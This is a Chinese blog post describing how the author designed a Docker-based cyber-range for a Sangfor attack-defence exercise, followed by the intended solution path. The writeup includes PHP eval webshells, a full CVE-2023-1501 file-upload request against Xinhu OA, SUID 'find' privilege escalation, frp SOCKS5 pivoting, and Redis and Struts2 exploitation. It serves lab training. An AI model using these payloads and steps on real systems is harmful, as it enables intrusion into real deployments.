iami233
iami233
文章155
标签37
分类4

文章分类

文章归档

深信服云对抗靶机设计思路

深信服云对抗靶机设计思路

写在前面

最近应邀参加了深信服云对抗活动,分为 靶机搭建攻击&防御两个阶段。博主负责 靶机搭建 阶段,其中赛方要求

  1. 尽可能地使用 Docker 容器化进行搭建

    环境:Centos 7.6, Docker 20.0

  2. 需要存在内网环境(靶机 A -> 靶机 B)

    其中,靶机 A 对外映射了全部端口,而靶机 B 仅对外映射了 8000-8004 端口。

设计思路

由于整个靶机不出网,所以博主推荐的思路是本地搭建完成之后,将容器导出为 .tar 格式,并通过 SSH 上传至靶机中

1
2
docker save -o filename.tar iami233/dedecms:latest 
docker load -i filename.tar

主办方在赛事规则中指出,靶机设计时需要通过控制靶机 A 以实现攻击靶机 B。但博主认为,完全可以利用 Docker 内置的网络划分功能来实现这一目标,所以未完全按照官方要求进行设计。

另外,如果要在多台宿主机之间通过容器化搭建多层渗透环境,博主觉得意义并不大。除非将 Docker 容器置于特权模式下,并实现逃逸至宿主机,以进行提权、搭建跳板等操作,但这可能会让问题变得过于复杂(有些舍本逐末的感觉?)。

因此,博主最终决定全程在靶机 A 中进行靶机的设计。在整套靶机的设计中,博主将最难的点放在了入口(毕竟平时打攻防的时候确实口子难撕🤣),其他三个靶机基本上都是 CVE 漏洞,只要能将隧道搭建出来,基本可以打穿。

由于整个云对抗正值全国常态化护网期间,靶机对外进行了访问收敛,需通过 aTrust 进行中转连接。但攻击机和靶机 A 肯定是互通的,所以整体的设计拓扑如下所示。

名称地址备注
DedeCMS10.23.76.101(入口)/ 192.168.100.2命令执行
信呼OA192.168.100.3 / 10.10.10.2文件上传
Redis10.10.10.3未授权访问
Struts210.10.10.4命令执行

img

靶机启动

这里仅仅给大家提供一下 Docker CLI 和 Docker-compose 的启动示例,具体的镜像地址就不放出来了。

1
2
3
4
5
6
7
8
9
# 创建网络
docker network create --driver bridge --subnet 192.168.100.0/24 entry
docker network create --driver bridge --internal --subnet 10.10.10.0/24 sub-1
# 启动容器
docker run -d --name dedecms --network entry -p 80:80 -e FLAG=flag{test_flag} 镜像名称
docker run -d --name xinhu --network entry -e FLAG=flag{test_flag} 镜像名称
docker network connect sub-1 xinhu
docker run -d --name redis --network sub-1 镜像名称
docker run -d --name struts2 --network sub-1 镜像名称

当然我们也可以手动下载 docker-compose 并上传到靶机后,使用 docker-compose.yaml 来启动容器

1
2
3
4
5
6
# 这里现在本机下载 docker-compose
https://github.com/docker/compose/releases/download/v2.29.2/docker-compose-linux-x86_64
# 然后上传到靶机中,赋予 可执行 的权限
sudo chmod +x /usr/local/bin/docker-compose
# 查看 docker-compose 版本
docker-compose version

具体靶机的启动脚本如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
version: "3"
services:
dedecms:
build: ./dedecms
ports:
- "80:80"
environment:
FLAG: "flag{test_flag}"
networks:
- entry
xinhu:
build: ./xinhu
environment:
FLAG: "flag{test_flag}"
networks:
- entry
- sub-1
redis:
build: ./redis
networks:
- sub-1
struts2:
build: ./struts2
networks:
- sub-1

networks:
entry:
driver: bridge
ipam:
config:
- subnet: 192.168.100.0/24

sub-1:
driver: bridge
internal: true
ipam:
config:
- subnet: 10.10.10.0/24

Writeup

织梦内容管理系统

访问默认路径 /dede 成功进入后台登陆页面。通过网站的文章可以得到作者名,将其当作用户名进行爆破,得到密码 admin

image-20240829162331626

进入后台后利用 文件式管理器新建文件 功能进行 GetShell(这里需要找最新版 DedeCMS 审计一下,其实 CTF 打多了应该也有很多的绕过手法,例如无字母数字RCE、字符拼接等)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// dede/file_manage_control.php
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfoevalassertexecpassthrushell_execsystemproc_openpopencurl_execcurl_multi_execparse_ini_fileshow_sourcefile_put_contentsfsockopenfopenfwritepreg_replace';
$cfg_disable_funs = $cfg_disable_funs.'[$]GLOBALS[$]_GET[$]_POST[$]_REQUEST[$]_FILES[$]_COOKIE[$]_SERVERincluderequirecreate_functionarray_mapcall_user_funccall_user_func_arrayarray_filertgetallheaders';
foreach (explode("", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if (!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", "{$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
if (preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", "{$str}") == TRUE) {
if (preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", "{$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if (preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", "{$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if (preg_match("#[`][\s\S]*[`]#i", "{$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}

image-20240803214820450

1
0=system&1=echo '<?php eval($_POST[1]);?>' > 123.php

写入新木马后,我们直接使用 哥斯拉 连接后进行提权操作。

根目录我放了一个 600 权限的 flag 文件用来引导用户进行提权操作,但是不知道主办方是否允许存在 flag,所以文件没写入内容(整个靶机提权与否不影响往下进行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/var/www/html >whoami
www-data

/var/www/html >find / -perm -u=s 2>/dev/null
/bin/su
/usr/bin/find
/usr/bin/passwd
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/mariadb/plugin/auth_pam_tool_dir/auth_pam_tool

/var/www/html >find /tmp -exec whoami \;
root

剩下的就是查看网卡,可以发现存在 192.168.100.0/24 网卡,我们直接上传 fscan 进行信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/var/www/html >ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:C0:A8:64:02
inet addr:192.168.100.2 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:18293 errors:0 dropped:0 overruns:0 frame:0
TX packets:14157 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:26051495 (24.8 MiB) TX bytes:3652659 (3.4 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:11703 errors:0 dropped:0 overruns:0 frame:0
TX packets:11703 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:18055136 (17.2 MiB) TX bytes:18055136 (17.2 MiB)

/var/www/html >cd /tmp

/tmp >chmod +x fscan

/tmp >./fscan -h 192.168.100.0/24 -hn 192.168.100.2
start infoscan
192.168.100.3:9000 open
192.168.100.3:80 open
[*] alive ports len is: 2
start vulscan
[+] FCGI 192.168.100.3:9000
Status: 403 Forbidden
X-Powered-By: PHP/7.3.33
Content-type: text/html; charset=UTF-8

Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)
plesa try other path,as -path /www/wwwroot/index.php
[*] WebTitle http://192.168.100.3 code:200 len:42 title:None
[+] PocScan http://192.168.100.3 poc-yaml-php-cgi-cve-2012-1823

信呼协同办公系统

可以看到下一层存在一个 Web 服务,我们直接搭建代理

1
2
3
4
5
6
7
8
9
10
11
12
13
# 你自己机器 frps.ini
[common]
server_port = 7000

# 织梦 frpc.ini
[common]
server_addr = 20.1.0.16 # 这里填aTrust分配的IP
server_port = 7000

[plugin_socks6]
type = tcp
remote_port = 7001
plugin = socks5

然后通过 Proxifier 代理出来即可正常访问到信呼协同办公系统

image-20240803221236454

经过测试应该可以发现这里存在一个小小的用户名枚举漏洞,通过该漏洞我们可以确定 admin 用户存在,但是密码爆破未果。

通过目录扫描可以发现存在 adminer,通过弱口令 root:root 成功登录控制面板

image-20240803221718230

image-20240803221757420

通过修改 rockxinhu 数据库中 xinhu_adminadmin 用户的 pass 字段来实现篡改密码(应该一眼能看出来是 md5)

image-20240803221915446

image-20240803222638792

登陆过后,照着 CVE-2023-1501 漏洞进行复现即可实现 getshell

image-20240803222738409

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /index.php?a=upfile&m=upload&d=public&maxsize=2&ajaxbool=true&rnd=395715 HTTP/1.1
Host: 192.168.100.3
Content-Length: 225
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTUHp3yo6lIJsYU3o
Accept: */*
Origin: http://192.168.100.3
Referer: http://192.168.100.3/index.php?m=upload&d=public&callback=&upkey=20240803222857263101&showid=fileidview
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=349e6ea884663131a41d928c0e5d1ae7; deviceid=1722695306459; xinhu_mo_adminid=zz0ltt0vt0kh0zz0vv0wk0ltt0zv0vz0llc0kv04; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
Connection: close

------WebKitFormBoundaryTUHp3yo6lIJsYU3o
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval(@$_POST[cmd]);?>
------WebKitFormBoundaryTUHp3yo6lIJsYU3o--

image-20240803222956897

抓包上传后可以得到文件的 上传路径 以及 文件id

1
2
path: upload/2024-08/03_22291046.uptemp
id: 8

我们在通过另一个接口来将 uptemp 后缀更换为 php,后面直接用源路径(需更改后缀)连接一句话木马即可

1
2
3
4
5
6
7
8
9
10
GET /task.php?m=qcloudCos|runt&a=run&fileid=8 HTTP/1.1
Host: 192.168.100.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: */*
Origin: http://192.168.100.3
Referer: http://192.168.100.3/index.php?m=upload&d=public&callback=&upkey=20240803222857263101&showid=fileidview
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=349e6ea884663131a41d928c0e5d1ae7; deviceid=1722695306459; xinhu_mo_adminid=zz0ltt0vt0kh0zz0vv0wk0ltt0zv0vz0llc0kv04; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
Connection: close

image-20240803223332415

这里也是同样留了一个 /flag 来引导用户进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/app/upload/2024-08/ >find / -perm -u=s 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/tmp/.backdoor
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd

/tmp >cd /tmp
Usage: ./.backdoor <command>

/tmp >./.backdoor "whoami"
root

下面就是老样子,看看有没有多个网卡然后进行信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/app/upload/2024-08/ >ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
629: eth0@if630: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:a8:64:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.100.3/24 brd 192.168.100.255 scope global eth0
valid_lft forever preferred_lft forever
631: eth1@if632: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:0a:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.10.2/24 brd 10.10.10.255 scope global eth1
valid_lft forever preferred_lft forever

/app/upload/2024-08/ >cd /tmp

/tmp >chmod +x fscan

/tmp >./fscan -h 10.10.10.0/24 -hn 10.10.10.2
start infoscan
10.10.10.3:6379 open
10.10.10.4:8009 open
10.10.10.4:8080 open
[*] alive ports len is: 3
start vulscan
[+] Redis 10.10.10.3:6379 unauthorized file:/data/dump.rdb
[*] WebTitle http://10.10.10.4:8080 code:200 len:90 title:$Title$
[+] PocScan http://10.10.10.4:8080 poc-yaml-struts2_045 poc

Redis 未授权访问

1
2
3
4
5
6
7
8
9
10
11
12
13
# 织梦 frps.ini
[common]
server_port = 7000

# 信呼 frpc.ini
[common]
server_addr = 192.168.100.2
server_port = 7000

[plugin_socks6]
type = tcp
remote_port = 7001
plugin = socks5

这里可以看到直接可以进行未授权访问(也可以通过 主从复制 实现 RCE

image-20240803225657470

S2-046 命令执行

直接工具一键梭了,由于这里得到的直接就是 root 权限所以无需提权

image-20240803230750008

写在后面

当时正忙着教育攻防演练,所以整体靶机搭建的时候十分仓促,用了不到两天的时间。但没想到后面突然延期了好久,但是也懒得改了….

在后期,群里其他师傅分享了一篇 记一次深信服云对抗环境搭建思路分享,看过之后确实大家的思路各不相同,通过宝塔来搭建是博主从未设想过的道路。不过宝塔 PHP 默认过滤了很多危险函数,可能会影响选手判断…

本文作者:iami233
本文链接:https://5ime.cn/sangfor_cloud_confrontation.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可